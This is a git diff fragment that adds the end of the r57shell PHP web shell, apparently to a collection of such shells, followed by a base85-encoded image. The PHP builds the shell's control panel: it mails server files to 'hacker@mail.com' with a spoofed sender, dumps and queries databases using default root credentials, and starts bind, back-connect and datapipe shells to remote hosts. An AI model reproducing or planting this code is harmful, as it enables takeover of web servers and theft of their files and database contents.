href=".$_SERVER['PHP_SELF']."?users>".$lang[$language.'_text95']."</a> )</font>"); +echo sr(15,"",in('checkbox','reverse id=reverse',0,'1').$lang[$language.'_text101']); +echo $te.'</div>'.$table_end1.$fe; +} +if(@function_exists("mail")){ +echo $table_up1.$lang[$language.'_text102'].up_down('id19').$table_up2.div('id19').$ts."<tr>".$fs."<td valign=top width=50%>".$ts; +echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text103']."</div></b></font>"; +echo sr(25,"<b>".$lang[$language.'_text105'].$arrow."</b>",in('text','to',45,(!empty($_POST['to'])?($_POST['to']):("hacker@mail.com"))).in('hidden','cmd',0,'mail').in('hidden','dir',0,$dir)); +echo sr(25,"<b>".$lang[$language.'_text106'].$arrow."</b>",in('text','from',45,(!empty($_POST['from'])?($_POST['from']):("billy@microsoft.com")))); +echo sr(25,"<b>".$lang[$language.'_text107'].$arrow."</b>",in('text','subj',45,(!empty($_POST['subj'])?($_POST['subj']):("hello billy")))); +echo sr(25,"<b>".$lang[$language.'_text108'].$arrow."</b>",'<textarea name=text cols=33 rows=2>'.(!empty($_POST['text'])?($_POST['text']):("mail text here")).'</textarea>'); +echo sr(25,"",in('submit','submit',0,$lang[$language.'_butt15'])); +echo $te."</td>".$fe.$fs."<td valign=top width=50%>".$ts; +echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text104']."</div></b></font>"; +echo sr(25,"<b>".$lang[$language.'_text105'].$arrow."</b>",in('text','to',45,(!empty($_POST['to'])?($_POST['to']):("hacker@mail.com"))).in('hidden','cmd',0,'mail_file').in('hidden','dir',0,$dir)); +echo sr(25,"<b>".$lang[$language.'_text106'].$arrow."</b>",in('text','from',45,(!empty($_POST['from'])?($_POST['from']):("billy@microsoft.com")))); +echo sr(25,"<b>".$lang[$language.'_text107'].$arrow."</b>",in('text','subj',45,(!empty($_POST['subj'])?($_POST['subj']):("file from r57shell")))); +echo sr(25,"<b>".$lang[$language.'_text18'].$arrow."</b>",in('text','loc_file',45,$dir)); +$arh = $lang[$language.'_text92']; +if(@function_exists('gzcompress')) { $arh .= in('radio','compress',0,'zip').' zip'; } +if(@function_exists('gzencode')) { $arh .= in('radio','compress',0,'gzip').' gzip'; } +if(@function_exists('bzcompress')) { $arh .= in('radio','compress',0,'bzip').' bzip'; } +echo sr(25,"<b>".$lang[$language.'_text91'].$arrow."</b>",in('radio','compress',0,'none').' '.$arh); +echo sr(25,"",in('submit','submit',0,$lang[$language.'_butt15'])); +echo $te."</td>".$fe."</tr></div></table>"; +} +if($mysql_on||$mssql_on||$pg_on||$ora_on) +{ +$select = '<select name=db>'; +if($mysql_on) $select .= '<option>MySQL</option>'; +if($mssql_on) $select .= '<option>MSSQL</option>'; +if($pg_on) $select .= '<option>PostgreSQL</option>'; +if($ora_on) $select .= '<option>Oracle</option>'; +$select .= '</select>'; +echo $table_up1.$lang[$language.'_text82'].up_down('id20').$table_up2.div('id20').$ts."<tr>".$fs."<td valign=top width=34%>".$ts; +echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text77']."</div></b></font>"; +echo sr(45,"<b>".$lang[$language.'_text80'].$arrow."</b>",$select); +echo sr(45,"<b>".$lang[$language.'_text14'].$arrow."</b>",in('text','db_port',15,(!empty($_POST['db_port'])?($_POST['db_port']):("3306")))); +echo sr(45,"<b>".$lang[$language.'_text37'].$arrow."</b>",in('text','mysql_l',15,(!empty($_POST['mysql_l'])?($_POST['mysql_l']):("root")))); +echo sr(45,"<b>".$lang[$language.'_text38'].$arrow."</b>",in('text','mysql_p',15,(!empty($_POST['mysql_p'])?($_POST['mysql_p']):("password")))); +echo sr(45,"<b>".$lang[$language.'_text78'].$arrow."</b>",in('hidden','dir',0,$dir).in('hidden','cmd',0,'db_show').in('checkbox','st id=st',0,'1')); +echo sr(45,"<b>".$lang[$language.'_text79'].$arrow."</b>",in('checkbox','sc id=sc',0,'1')); +echo sr(45,"",in('submit','submit',0,$lang[$language.'_butt7'])); +echo $te."</td>".$fe.$fs."<td valign=top width=33%>".$ts; +echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text40']."</div></b></font>"; +echo sr(45,"<b>".$lang[$language.'_text80'].$arrow."</b>",$select); +echo sr(45,"<b>".$lang[$language.'_text14'].$arrow."</b>",in('text','db_port',15,(!empty($_POST['db_port'])?($_POST['db_port']):("3306")))); +echo sr(45,"<b>".$lang[$language.'_text37'].$arrow."</b>",in('text','mysql_l',15,(!empty($_POST['mysql_l'])?($_POST['mysql_l']):("root")))); +echo sr(45,"<b>".$lang[$language.'_text38'].$arrow."</b>",in('text','mysql_p',15,(!empty($_POST['mysql_p'])?($_POST['mysql_p']):("password")))); +echo sr(45,"<b>".$lang[$language.'_text36'].$arrow."</b>",in('text','mysql_db',15,(!empty($_POST['mysql_db'])?($_POST['mysql_db']):("mysql")))); +echo sr(45,"<b>".$lang[$language.'_text39'].$arrow."</b>",in('text','mysql_tbl',15,(!empty($_POST['mysql_tbl'])?($_POST['mysql_tbl']):("user")))); +echo sr(45,in('hidden','dir',0,$dir).in('hidden','cmd',0,'mysql_dump')."<b>".$lang[$language.'_text41'].$arrow."</b>",in('checkbox','dif id=dif',0,'1')); +echo sr(45,"<b>".$lang[$language.'_text59'].$arrow."</b>",in('text','dif_name',15,(!empty($_POST['dif_name'])?($_POST['dif_name']):("dump.sql")))); +echo sr(45,"",in('submit','submit',0,$lang[$language.'_butt9'])); +echo $te."</td>".$fe.$fs."<td valign=top width=33%>".$ts; +echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text83']."</div></b></font>"; +echo sr(45,"<b>".$lang[$language.'_text80'].$arrow."</b>",$select); +echo sr(45,"<b>".$lang[$language.'_text14'].$arrow."</b>",in('text','db_port',15,(!empty($_POST['db_port'])?($_POST['db_port']):("3306")))); +echo sr(45,"<b>".$lang[$language.'_text37'].$arrow."</b>",in('text','mysql_l',15,(!empty($_POST['mysql_l'])?($_POST['mysql_l']):("root")))); +echo sr(45,"<b>".$lang[$language.'_text38'].$arrow."</b>",in('text','mysql_p',15,(!empty($_POST['mysql_p'])?($_POST['mysql_p']):("password")))); +echo sr(45,"<b>".$lang[$language.'_text36'].$arrow."</b>",in('text','mysql_db',15,(!empty($_POST['mysql_db'])?($_POST['mysql_db']):("mysql")))); +echo sr(45,"<b>".$lang[$language.'_text84'].$arrow."</b>".in('hidden','dir',0,$dir).in('hidden','cmd',0,'db_query'),""); +echo $te."<div align=center id='n'><textarea cols=35 name=db_query>".(!empty($_POST['db_query'])?($_POST['db_query']):("SHOW DATABASES;\nSELECT * FROM user;"))."</textarea><br>".in('submit','submit',0,$lang[$language.'_butt1'])."</div></td>".$fe."</tr></div></table>"; +} +if(!$safe_mode&&!$windows){ +echo $table_up1.$lang[$language.'_text81'].up_down('id21').$table_up2.div('id21').$ts."<tr>".$fs."<td valign=top width=34%>".$ts; +echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text9']."</div></b></font>"; +echo sr(40,"<b>".$lang[$language.'_text10'].$arrow."</b>",in('text','port',15,'11457')); +echo sr(40,"<b>".$lang[$language.'_text11'].$arrow."</b>",in('text','bind_pass',15,'r57')); +echo sr(40,"<b>".$lang[$language.'_text20'].$arrow."</b>","<select size=\"1\" name=\"use\"><option value=\"Perl\">Perl</option><option value=\"C\">C</option></select>".in('hidden','dir',0,$dir)); +echo sr(40,"",in('submit','submit',0,$lang[$language.'_butt3'])); +echo $te."</td>".$fe.$fs."<td valign=top width=33%>".$ts; +echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text12']."</div></b></font>"; +echo sr(40,"<b>".$lang[$language.'_text13'].$arrow."</b>",in('text','ip',15,((getenv('REMOTE_ADDR')) ? (getenv('REMOTE_ADDR')) : ("127.0.0.1")))); +echo sr(40,"<b>".$lang[$language.'_text14'].$arrow."</b>",in('text','port',15,'11457')); +echo sr(40,"<b>".$lang[$language.'_text20'].$arrow."</b>","<select size=\"1\" name=\"use\"><option value=\"Perl\">Perl</option><option value=\"C\">C</option></select>".in('hidden','dir',0,$dir)); +echo sr(40,"",in('submit','submit',0,$lang[$language.'_butt4'])); +echo $te."</td>".$fe.$fs."<td valign=top width=33%>".$ts; +echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text22']."</div></b></font>"; +echo sr(40,"<b>".$lang[$language.'_text23'].$arrow."</b>",in('text','local_port',15,'11457')); +echo sr(40,"<b>".$lang[$language.'_text24'].$arrow."</b>",in('text','remote_host',15,'irc.dalnet.ru')); +echo sr(40,"<b>".$lang[$language.'_text25'].$arrow."</b>",in('text','remote_port',15,'6667')); +echo sr(40,"<b>".$lang[$language.'_text26'].$arrow."</b>","<select size=\"1\" name=\"use\"><option value=\"Perl\">datapipe.pl</option><option value=\"C\">datapipe.c</option></select>".in('hidden','dir',0,$dir)); +echo sr(40,"",in('submit','submit',0,$lang[$language.'_butt5'])); +echo $te."</td>".$fe."</tr></div></table>"; +} +echo '</table>'.$table_up3."</div></div><div align=center id='n'><font face=Verdana size=-2><b>o---[ r57shell - http-shell by RST/GHC | <a href=http://rst.void.ru>http://rst.void.ru</a> | <a href=http://ghc.ru>http://ghc.ru</a> | version ".$version." ]---o</b></font></div></td></tr></table>".$f; +?> \ No newline at end of file diff --git a/php/PHPshell/zacosmall/zacosmall.jpg b/php/PHPshell/zacosmall/zacosmall.jpg new file mode 100644 index 0000000000000000000000000000000000000000..fdb3aaf0e19704c5873d64a3dce388b9cddd56e9 GIT binary patch literal 60961 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 